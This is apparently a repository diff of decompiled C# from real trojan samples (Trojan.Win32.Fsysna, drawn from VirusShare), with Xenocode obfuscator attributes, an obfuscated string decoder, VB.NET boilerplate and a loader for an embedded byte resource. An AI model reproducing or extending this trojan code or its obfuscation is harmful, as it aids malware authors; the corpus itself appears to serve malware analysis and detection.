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</value>
+  </data>
+</root>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/Xenocode/Client/Attributes/AssemblyAttributes/ProcessedByXenocode.cs

@@ -0,0 +1,14 @@
+// Decompiled with JetBrains decompiler
+// Type: Xenocode.Client.Attributes.AssemblyAttributes.ProcessedByXenocode
+// Assembly: WindowsApplication5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5A2C317D-8013-4261-BC81-62C2E42A4E7A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe
+
+using System;
+
+namespace Xenocode.Client.Attributes.AssemblyAttributes
+{
+  internal class ProcessedByXenocode : Attribute
+  {
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/Xenocode/Client/Attributes/AssemblyAttributes/SuppressDisassembly.cs

@@ -0,0 +1,14 @@
+// Decompiled with JetBrains decompiler
+// Type: Xenocode.Client.Attributes.AssemblyAttributes.SuppressDisassembly
+// Assembly: WindowsApplication5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5A2C317D-8013-4261-BC81-62C2E42A4E7A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe
+
+using System;
+
+namespace Xenocode.Client.Attributes.AssemblyAttributes
+{
+  internal class SuppressDisassembly : Attribute
+  {
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/xb9d8bb5e6df032aa/x1110bdd110cdcea4.cs

@@ -0,0 +1,85 @@
+// Decompiled with JetBrains decompiler
+// Type: xb9d8bb5e6df032aa.x1110bdd110cdcea4
+// Assembly: WindowsApplication5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5A2C317D-8013-4261-BC81-62C2E42A4E7A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe
+
+namespace xb9d8bb5e6df032aa
+{
+  public class x1110bdd110cdcea4
+  {
+    public static string _d574bb1a8f3e9cbc(string x5e99b576d2530d13, int x2710752c36f2d14b)
+    {
+      ushort num1 = (ushort) x2710752c36f2d14b;
+      char[] chArray;
+      if ((x2710752c36f2d14b & 0) == 0)
+      {
+label_8:
+        chArray = new char[x5e99b576d2530d13.Length / 4];
+label_2:
+        int index = 0;
+        bool flag = (uint) index + (uint) num1 > uint.MaxValue;
+        ushort num2;
+        if (!flag || ((int) num2 | -1) != 0)
+          goto label_10;
+label_3:
+        if (!flag)
+        {
+          if ((index & 0) == 0)
+            goto label_10;
+        }
+        else
+          goto label_8;
+label_5:
+        if ((uint) num2 - (uint) num2 >= 0U)
+          goto label_15;
+label_6:
+        if ((uint) x2710752c36f2d14b + (uint) x2710752c36f2d14b >= 0U)
+        {
+          flag = (uint) x2710752c36f2d14b - (uint) x2710752c36f2d14b > uint.MaxValue;
+          goto label_3;
+        }
+        else
+          goto label_16;
+label_10:
+        if (index < x5e99b576d2530d13.Length / 4)
+        {
+          if ((index | 4) != 0)
+          {
+            do
+            {
+              num2 = (ushort) ((uint) (ushort) ((int) x5e99b576d2530d13[4 * index] - 97 + ((int) x5e99b576d2530d13[4 * index + 1] - 97 << 4) + ((int) x5e99b576d2530d13[4 * index + 2] - 97 << 8) + ((int) x5e99b576d2530d13[4 * index + 3] - 97 << 12)) - (uint) num1);
+              chArray[index] = (char) num2;
+              num1 += (ushort) 1789;
+              ++index;
+            }
+            while ((uint) flag + (uint) num2 > uint.MaxValue);
+            goto label_6;
+          }
+        }
+        else
+          goto label_13;
+label_12:
+        if ((uint) num1 + (uint) flag >= 0U && !flag)
+        {
+          if ((uint) flag <= uint.MaxValue)
+            goto label_5;
+          else
+            goto label_2;
+        }
+        else
+          goto label_8;
+label_13:
+        if (true)
+        {
+          flag = ((int) num2 | 15) == 0;
+          goto label_12;
+        }
+      }
+label_15:
+      string str = new string(chArray);
+label_16:
+      return str;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyProduct("ePsmpVfEBbD7JvU35")]
+[assembly: AssemblyTitle("ePsmpVfEBbD7JvU35")]
+[assembly: AssemblyCopyright("Copyright ©  2012")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: ComVisible(false)]
+[assembly: Guid("3fcda393-9350-421d-bfbb-e0d9946b8b1f")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/My/MyApplication.cs

@@ -0,0 +1,50 @@
+// Decompiled with JetBrains decompiler
+// Type: ePsmpVfEBbD7JvU35.My.MyApplication
+// Assembly: ePsmpVfEBbD7JvU35, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8F8E5366-972E-48EB-AD65-C434E8632D31
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Windows.Forms;
+
+namespace ePsmpVfEBbD7JvU35.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [STAThread]
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.jMWjno977htj;
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: ePsmpVfEBbD7JvU35.My.MyComputer
+// Assembly: ePsmpVfEBbD7JvU35, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8F8E5366-972E-48EB-AD65-C434E8632D31
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace ePsmpVfEBbD7JvU35.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyComputer : Computer
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/My/MyProject.cs

@@ -0,0 +1,207 @@
+// Decompiled with JetBrains decompiler
+// Type: ePsmpVfEBbD7JvU35.My.MyProject
+// Assembly: ePsmpVfEBbD7JvU35, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8F8E5366-972E-48EB-AD65-C434E8632D31
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace ePsmpVfEBbD7JvU35.My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    internal sealed class MyForms
+    {
+      public jMWjno977htj m_jMWjno977htj;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyForms()
+      {
+      }
+
+      public jMWjno977htj jMWjno977htj
+      {
+        get
+        {
+          this.m_jMWjno977htj = MyProject.MyForms.Create__Instance__<jMWjno977htj>(this.m_jMWjno977htj);
+          return this.m_jMWjno977htj;
+        }
+        set
+        {
+          if (value == this.m_jMWjno977htj)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<jMWjno977htj>(ref this.m_jMWjno977htj);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyWebServices
+    {
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [ComVisible(false)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/My/MySettings.cs

@@ -0,0 +1,68 @@
+// Decompiled with JetBrains decompiler
+// Type: ePsmpVfEBbD7JvU35.My.MySettings
+// Assembly: ePsmpVfEBbD7JvU35, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8F8E5366-972E-48EB-AD65-C434E8632D31
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace ePsmpVfEBbD7JvU35.My
+{
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  [CompilerGenerated]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: ePsmpVfEBbD7JvU35.My.MySettingsProperty
+// Assembly: ePsmpVfEBbD7JvU35, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8F8E5366-972E-48EB-AD65-C434E8632D31
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace ePsmpVfEBbD7JvU35.My
+{
+  [DebuggerNonUserCode]
+  [StandardModule]
+  [CompilerGenerated]
+  [HideModuleName]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/My/Resources/Resources.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: ePsmpVfEBbD7JvU35.My.Resources.Resources
+// Assembly: ePsmpVfEBbD7JvU35, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8F8E5366-972E-48EB-AD65-C434E8632D31
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace ePsmpVfEBbD7JvU35.My.Resources
+{
+  [CompilerGenerated]
+  [StandardModule]
+  [HideModuleName]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+  [DebuggerNonUserCode]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) ePsmpVfEBbD7JvU35.My.Resources.Resources.resourceMan, (object) null))
+          ePsmpVfEBbD7JvU35.My.Resources.Resources.resourceMan = new ResourceManager("ePsmpVfEBbD7JvU35.Resources", typeof (ePsmpVfEBbD7JvU35.My.Resources.Resources).Assembly);
+        return ePsmpVfEBbD7JvU35.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => ePsmpVfEBbD7JvU35.My.Resources.Resources.resourceCulture;
+      set => ePsmpVfEBbD7JvU35.My.Resources.Resources.resourceCulture = value;
+    }
+
+    internal static byte[] fpazg => (byte[]) RuntimeHelpers.GetObjectValue(ePsmpVfEBbD7JvU35.My.Resources.Resources.ResourceManager.GetObject(nameof (fpazg), ePsmpVfEBbD7JvU35.My.Resources.Resources.resourceCulture));
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/Resources.resx

@@ -0,0 +1,433 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
